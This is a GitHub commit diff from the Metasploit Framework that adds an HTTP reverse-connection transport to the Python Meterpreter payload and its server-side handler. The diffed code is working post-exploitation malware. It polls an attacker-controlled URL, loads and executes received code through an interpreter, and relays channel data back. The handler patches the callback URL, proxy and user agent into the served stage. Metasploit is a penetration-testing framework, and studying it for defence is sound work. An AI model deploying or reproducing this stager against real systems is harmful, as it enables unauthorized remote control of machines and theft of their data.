Skip to content

Commit fc96d01

Browse files
author
HD Moore
committed
Python reverse_http stager, lands rapid7#4225
2 parents bd3d63a + 7fe72fd commit fc96d01

File tree

10 files changed

+277
-41
lines changed

10 files changed

+277
-41
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,9 +60,13 @@
6060
bytes = lambda *args: str(*args[:1])
6161
NULL_BYTE = '\x00'
6262
else:
63-
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
63+
if isinstance(__builtins__, dict):
64+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
65+
str = lambda x: __builtins__['str'](x, 'UTF-8')
66+
else:
67+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
68+
str = lambda x: __builtins__.str(x, 'UTF-8')
6469
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
65-
str = lambda x: __builtins__['str'](x, 'UTF-8')
6670
NULL_BYTE = bytes('\x00', 'UTF-8')
6771
long = int
6872

@@ -501,6 +505,8 @@ class RTATTR(ctypes.Structure):
501505
IFA_ADDRESS = 1
502506
IFA_LABEL = 3
503507

508+
meterpreter.register_extension('stdapi')
509+
504510
def calculate_32bit_netmask(bits):
505511
if bits == 32:
506512
return 0xffffffff

data/meterpreter/meterpreter.py

Lines changed: 142 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -18,19 +18,50 @@
1818
else:
1919
has_windll = hasattr(ctypes, 'windll')
2020

21+
# this MUST be imported for urllib to work on OSX
22+
try:
23+
import SystemConfiguration as osxsc
24+
has_osxsc = True
25+
except ImportError:
26+
has_osxsc = False
27+
28+
try:
29+
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
30+
if sys.version_info[0] < 3:
31+
urllib = __import__('urllib2', fromlist=urllib_imports)
32+
else:
33+
urllib = __import__('urllib.request', fromlist=urllib_imports)
34+
except ImportError:
35+
has_urllib = False
36+
else:
37+
has_urllib = True
38+
2139
if sys.version_info[0] < 3:
2240
is_bytes = lambda obj: issubclass(obj.__class__, str)
2341
bytes = lambda *args: str(*args[:1])
2442
NULL_BYTE = '\x00'
2543
else:
44+
if isinstance(__builtins__, dict):
45+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
46+
str = lambda x: __builtins__['str'](x, 'UTF-8')
47+
else:
48+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
49+
str = lambda x: __builtins__.str(x, 'UTF-8')
2650
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
27-
str = lambda x: __builtins__['str'](x, 'UTF-8')
2851
NULL_BYTE = bytes('\x00', 'UTF-8')
52+
long = int
2953

3054
#
3155
# Constants
3256
#
57+
58+
# these values may be patched, DO NOT CHANGE THEM
3359
DEBUGGING = False
60+
HTTP_COMMUNICATION_TIMEOUT = 300
61+
HTTP_CONNECTION_URL = None
62+
HTTP_EXPIRATION_TIMEOUT = 604800
63+
HTTP_PROXY = None
64+
HTTP_USER_AGENT = None
3465

3566
PACKET_TYPE_REQUEST = 0
3667
PACKET_TYPE_RESPONSE = 1
@@ -284,15 +315,43 @@ def write(self, channel_data):
284315
export(STDProcess)
285316

286317
class PythonMeterpreter(object):
287-
def __init__(self, socket):
318+
def __init__(self, socket=None):
288319
self.socket = socket
320+
self.driver = None
321+
self.running = False
322+
self.communications_active = True
323+
self.communications_last = 0
324+
if self.socket:
325+
self.driver = 'tcp'
326+
elif HTTP_CONNECTION_URL:
327+
self.driver = 'http'
328+
self.last_registered_extension = None
289329
self.extension_functions = {}
290330
self.channels = {}
291331
self.interact_channels = []
292332
self.processes = {}
293333
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
294334
self.extension_functions[func[1:]] = getattr(self, func)
295-
self.running = True
335+
if self.driver:
336+
if hasattr(self, 'driver_init_' + self.driver):
337+
getattr(self, 'driver_init_' + self.driver)()
338+
self.running = True
339+
340+
def driver_init_http(self):
341+
if HTTP_PROXY:
342+
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
343+
opener = urllib.build_opener(proxy_handler)
344+
else:
345+
opener = urllib.build_opener()
346+
if HTTP_USER_AGENT:
347+
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
348+
urllib.install_opener(opener)
349+
self._http_last_seen = time.time()
350+
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
351+
352+
def register_extension(self, extension_name):
353+
self.last_registered_extension = extension_name
354+
return self.last_registered_extension
296355

297356
def register_function(self, func):
298357
self.extension_functions[func.__name__] = func
@@ -318,19 +377,73 @@ def add_process(self, process):
318377
self.processes[idx] = process
319378
return idx
320379

380+
def get_packet(self):
381+
packet = getattr(self, 'get_packet_' + self.driver)()
382+
self.communications_last = time.time()
383+
if packet:
384+
self.communications_active = True
385+
return packet
386+
387+
def send_packet(self, packet):
388+
getattr(self, 'send_packet_' + self.driver)(packet)
389+
self.communications_last = time.time()
390+
self.communications_active = True
391+
392+
def get_packet_http(self):
393+
packet = None
394+
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
395+
try:
396+
url_h = urllib.urlopen(request)
397+
packet = url_h.read()
398+
except:
399+
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
400+
self.running = False
401+
else:
402+
self._http_last_seen = time.time()
403+
if packet:
404+
packet = packet[8:]
405+
else:
406+
packet = None
407+
return packet
408+
409+
def send_packet_http(self, packet):
410+
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
411+
try:
412+
url_h = urllib.urlopen(request)
413+
response = url_h.read()
414+
except:
415+
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
416+
self.running = False
417+
else:
418+
self._http_last_seen = time.time()
419+
420+
def get_packet_tcp(self):
421+
packet = None
422+
if len(select.select([self.socket], [], [], 0.5)[0]):
423+
packet = self.socket.recv(8)
424+
if len(packet) != 8:
425+
self.running = False
426+
return None
427+
pkt_length, pkt_type = struct.unpack('>II', packet)
428+
pkt_length -= 8
429+
packet = bytes()
430+
while len(packet) < pkt_length:
431+
packet += self.socket.recv(4096)
432+
return packet
433+
434+
def send_packet_tcp(self, packet):
435+
self.socket.send(packet)
436+
321437
def run(self):
322438
while self.running:
323-
if len(select.select([self.socket], [], [], 0.5)[0]):
324-
request = self.socket.recv(8)
325-
if len(request) != 8:
326-
break
327-
req_length, req_type = struct.unpack('>II', request)
328-
req_length -= 8
329-
request = bytes()
330-
while len(request) < req_length:
331-
request += self.socket.recv(4096)
439+
request = None
440+
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
441+
self.communications_active = False
442+
if should_get_packet:
443+
request = self.get_packet()
444+
if request:
332445
response = self.create_response(request)
333-
self.socket.send(response)
446+
self.send_packet(response)
334447
else:
335448
# iterate over the keys because self.channels could be modified if one is closed
336449
channel_ids = list(self.channels.keys())
@@ -370,7 +483,7 @@ def run(self):
370483
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
371484
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
372485
pkt = struct.pack('>I', len(pkt) + 4) + pkt
373-
self.socket.send(pkt)
486+
self.send_packet(pkt)
374487
if data:
375488
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
376489
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@@ -379,7 +492,7 @@ def run(self):
379492
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
380493
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
381494
pkt = struct.pack('>I', len(pkt) + 4) + pkt
382-
self.socket.send(pkt)
495+
self.send_packet(pkt)
383496

384497
def handle_dead_resource_channel(self, channel_id):
385498
del self.channels[channel_id]
@@ -390,21 +503,25 @@ def handle_dead_resource_channel(self, channel_id):
390503
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
391504
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
392505
pkt = struct.pack('>I', len(pkt) + 4) + pkt
393-
self.socket.send(pkt)
506+
self.send_packet(pkt)
394507

395508
def _core_loadlib(self, request, response):
396509
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
397510
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
398511
return ERROR_FAILURE
399-
preloadlib_methods = list(self.extension_functions.keys())
512+
513+
self.last_registered_extension = None
400514
symbols_for_extensions = {'meterpreter':self}
401515
symbols_for_extensions.update(EXPORTED_SYMBOLS)
402516
i = code.InteractiveInterpreter(symbols_for_extensions)
403517
i.runcode(compile(data_tlv['value'], '', 'exec'))
404-
postloadlib_methods = list(self.extension_functions.keys())
405-
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
406-
for method in new_methods:
407-
response += tlv_pack(TLV_TYPE_METHOD, method)
518+
extension_name = self.last_registered_extension
519+
520+
if extension_name:
521+
check_extension = lambda x: x.startswith(extension_name)
522+
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
523+
for method in lib_methods:
524+
response += tlv_pack(TLV_TYPE_METHOD, method)
408525
return ERROR_SUCCESS, response
409526

410527
def _core_shutdown(self, request, response):
@@ -546,5 +663,8 @@ def create_response(self, request):
546663
os.setsid()
547664
except OSError:
548665
pass
549-
met = PythonMeterpreter(s)
666+
if HTTP_CONNECTION_URL and has_urllib:
667+
met = PythonMeterpreter()
668+
else:
669+
met = PythonMeterpreter(s)
550670
met.run()

lib/msf/core/handler/reverse_http.rb

Lines changed: 35 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -194,14 +194,48 @@ def on_request(cli, req, obj)
194194

195195
# Process the requested resource.
196196
case uri_match
197+
when /^\/INITPY/
198+
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
199+
url = payload_uri + conn_id + '/'
200+
201+
blob = ""
202+
blob << obj.generate_stage
203+
204+
var_escape = lambda { |txt|
205+
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
206+
}
207+
208+
# Patch all the things
209+
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
210+
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
211+
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
212+
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
213+
214+
unless datastore['PROXYHOST'].blank?
215+
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
216+
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
217+
end
218+
219+
resp.body = blob
220+
221+
# Short-circuit the payload's handle_connection processing for create_session
222+
create_session(cli, {
223+
:passive_dispatcher => obj.service,
224+
:conn_id => conn_id,
225+
:url => url,
226+
:expiration => datastore['SessionExpirationTimeout'].to_i,
227+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
228+
:ssl => ssl?,
229+
})
230+
197231
when /^\/INITJM/
198232
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
199233
url = payload_uri + conn_id + "/\x00"
200234

201235
blob = ""
202236
blob << obj.generate_stage
203237

204-
# This is a TLV packet - I guess somewhere there should be API for building them
238+
# This is a TLV packet - I guess somewhere there should be an API for building them
205239
# in Metasploit :-)
206240
packet = ""
207241
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
@@ -223,7 +257,6 @@ def on_request(cli, req, obj)
223257
})
224258

225259
when /^\/A?INITM?/
226-
227260
url = ''
228261

229262
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")

lib/msf/core/handler/reverse_http/uri_checksum.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,9 @@ module UriChecksum
88
# Define 8-bit checksums for matching URLs
99
# These are based on charset frequency
1010
#
11-
URI_CHECKSUM_INITW = 92
12-
URI_CHECKSUM_INITJ = 88
11+
URI_CHECKSUM_INITW = 92 # Windows
12+
URI_CHECKSUM_INITP = 80 # Python
13+
URI_CHECKSUM_INITJ = 88 # Java
1314
URI_CHECKSUM_CONN = 98
1415

1516
#
@@ -61,6 +62,8 @@ def process_uri_resource(uri_match)
6162
case uri_check
6263
when URI_CHECKSUM_INITW
6364
uri_match = "/INITM"
65+
when URI_CHECKSUM_INITP
66+
uri_match = "/INITPY"
6467
when URI_CHECKSUM_INITJ
6568
uri_match = "/INITJM"
6669
when URI_CHECKSUM_CONN

lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
4646
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
4747
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
48-
], Msf::Handler::ReverseHttpsProxy)
48+
], Msf::Handler::ReverseHttpsProxy)
4949

5050
register_advanced_options(
5151
[

lib/rex/post/meterpreter/packet_dispatcher.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def on_passive_request(cli, req)
9696

9797
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
9898
if req.body[0,4] == "RECV"
99-
rpkt = send_queue.pop
99+
rpkt = send_queue.shift
100100
resp.body = rpkt || ''
101101
begin
102102
cli.send_response(resp)

0 commit comments

Comments
 (0)